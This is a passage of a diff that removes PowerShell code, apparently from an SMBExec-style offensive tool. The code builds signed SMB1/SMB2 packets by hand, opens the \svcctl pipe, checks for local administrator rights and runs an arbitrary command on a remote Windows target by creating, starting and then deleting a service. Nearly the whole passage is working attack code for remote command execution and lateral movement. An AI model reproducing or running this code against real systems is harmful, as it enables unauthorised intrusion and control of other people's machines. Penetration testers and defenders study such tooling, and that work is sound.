-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                    }
-
-                    'CloseRequest'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'TreeDisconnect'
-                    }
-
-                    'TreeDisconnect'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBTreeDisconnectRequest
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'Logoff'
-                    }
-
-                    'Logoff'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBLogoffAndXRequest
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'Exit'
-                    }
-
-                }
-            
-                if($SMBExec_failed)
-                {
-                    BREAK SMB_execute_loop
-                }
-            
-            }
-
-        }  
-        else
-        {
-            
-            $SMB_client_stage = 'TreeConnect'
-
-            while ($SMB_client_stage -ne 'exit')
-            {
-
-                switch ($SMB_client_stage)
-                {
-            
-                    'TreeConnect'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-
-                        try
-                        {
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                            $SMB_client_stage = 'CreateRequest'
-                        }
-                        catch
-                        {
-                            Write-Output "[-] Session connection is closed"
-                            $SMB_client_stage = 'Exit'
-                        }
-                        
-                    }
-                  
-                    'CreateRequest'
-                    {
-                        $tree_ID = $SMB_client_receive[40..43]
-                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes
-                        $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00  
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data  
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data  
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-
-                        try
-                        {
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        }
-                        catch
-                        {
-                            Write-Output "[-] Session connection is closed"
-                            $SMB_client_stage = 'Exit'
-                        }
-
-                        if($Refresh -and $SMB_client_stage -ne 'Exit')
-                        {
-                            Write-Output "[+] Session refreshed"
-                            $SMB_client_stage = 'Exit'
-                        }
-                        elseif($SMB_client_stage -ne 'Exit')
-                        {
-                            $SMB_client_stage = 'RPCBind'
-                        }
-
-                    }
-                
-                    'RPCBind'
-                    {
-                        $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl
-                        $SMB_file_ID = $SMB_client_receive[132..147]
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadRequest'
-                        $SMB_client_stage_next = 'OpenSCManagerW'
-                    }
-               
-                    'ReadRequest'
-                    {
-                        Start-Sleep -m $Sleep
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID
-                        $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data 
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data 
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $SMB_client_stage = $SMB_client_stage_next
-                        }
-                        else
-                        {
-                            $SMB_client_stage = 'StatusPending'
-                        }
-
-                    }
-
-                    'StatusPending'
-                    {
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $SMB_client_stage = $SMB_client_stage_next
-                        }
-
-                    }
-                
-                    'OpenSCManagerW'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadRequest'
-                        $SMB_client_stage_next = 'CheckAccess'        
-                    }
-
-                    'CheckAccess'
-                    {
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
-                        {
-
-                            $SMB_service_manager_context_handle = $SMB_client_receive[108..127]
-                            
-                            if($SMB_execute -eq $true)
-                            {
-                                Write-Verbose "$output_username is a local administrator on $Target"
-                                $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
-                                $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-
-                                if($SCM_data.Length -lt $SMB_split_index)
-                                {
-                                    $SMB_client_stage = 'CreateServiceW'
-                                }
-                                else
-                                {
-                                    $SMB_client_stage = 'CreateServiceW_First'
-                                }
-
-                            }
-                            else
-                            {
-                                Write-Output "$output_username is a local administrator on $Target"
-                                $message_ID++
-                                $SMB_close_service_handle_stage = 2
-                                $SMB_client_stage = 'CloseServiceHandle'
-                            }
-
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00')
-                        {
-                            Write-Output "$output_username is not a local administrator or does not have required privilege on $Target"
-                            $SMBExec_failed = $true
-                        }
-                        else
-                        {
-                            Write-Output "Something went wrong with $Target"
-                            $SMBExec_failed = $true
-                        }
-
-                    }
-                
-                    'CreateServiceW'
-                    {
-                        
-                        if($SMBExec_command_bytes.Length -lt $SMB_split_index)
-                        {
-                            $message_ID++
-                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                            if($SMB_signing)
-                            {
-                                $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                            }
-
-                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
-                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                            $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                            if($SMB_signing)
-                            {
-                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                                $SMB2_signature = $SMB2_signature[0..15]
-                                $packet_SMB2_header["Signature"] = $SMB2_signature
-                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                            }
-
-                            $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                            $SMB_client_stage = 'ReadRequest'
-                            $SMB_client_stage_next = 'StartServiceW'
-                        }
-                        else
-                        {
-                            
-                            
-                        }
-                    }
-
-                    'CreateServiceW_First'
-                    {
-                        $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
-                        $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
-                        $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
-                        $SMB_split_index_tracker = $SMB_split_index
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($SMB_split_stage_final -le 2)
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $SMB_split_stage = 2
-                            $SMB_client_stage = 'CreateServiceW_Middle'
-                        }
-
-                    }
-
-                    'CreateServiceW_Middle'
-                    {
-                        $SMB_split_stage++
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
-                        $SMB_split_index_tracker += $SMB_split_index
-                        $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
-                        $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($SMB_split_stage -ge $SMB_split_stage_final)
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Middle'
-                        }
-
-                    }
-
-                    'CreateServiceW_Last'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
-                        $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    
-                        $RPC_data_length = $SMB2_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadRequest'
-                        $SMB_client_stage_next = 'StartServiceW'
-                    }
-
-                    'StartServiceW'
-                    {
-                    
-                        if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00')
-                        {
-                            Write-Verbose "Service $SMB_service created on $Target"
-                            $SMB_service_context_handle = $SMB_client_receive[112..131]
-                            $message_ID++
-                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                            if($SMB_signing)
-                            {
-                                $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                            }
-
-                            $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
-                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00
-                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                            $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data   
-                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                            if($SMB_signing)
-                            {
-                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                                $SMB2_signature = $SMB2_signature[0..15]
-                                $packet_SMB2_header["Signature"] = $SMB2_signature
-                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                            }
-
-                            $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            Write-Verbose "Trying to execute command on $Target"
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                            $SMB_client_stage = 'ReadRequest'
-                            $SMB_client_stage_next = 'DeleteServiceW'     
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00')
-                        {
-                            Write-Output "Service $SMB_service creation failed on $Target"
-                            $SMBExec_failed = $true
-                        }
-                        else
-                        {
-                            Write-Output "Service creation fault context mismatch"
-                            $SMBExec_failed = $true
-                        }
- 
-                    }
-                
-                    'DeleteServiceW'
-                    { 
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00')
-                        {
-                            Write-Output "Command executed with service $SMB_service on $Target"
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00')
-                        {
-                            Write-Output "Service $SMB_service failed to start on $Target"
-                        }
-
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00
-                        }
-
-                        $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle
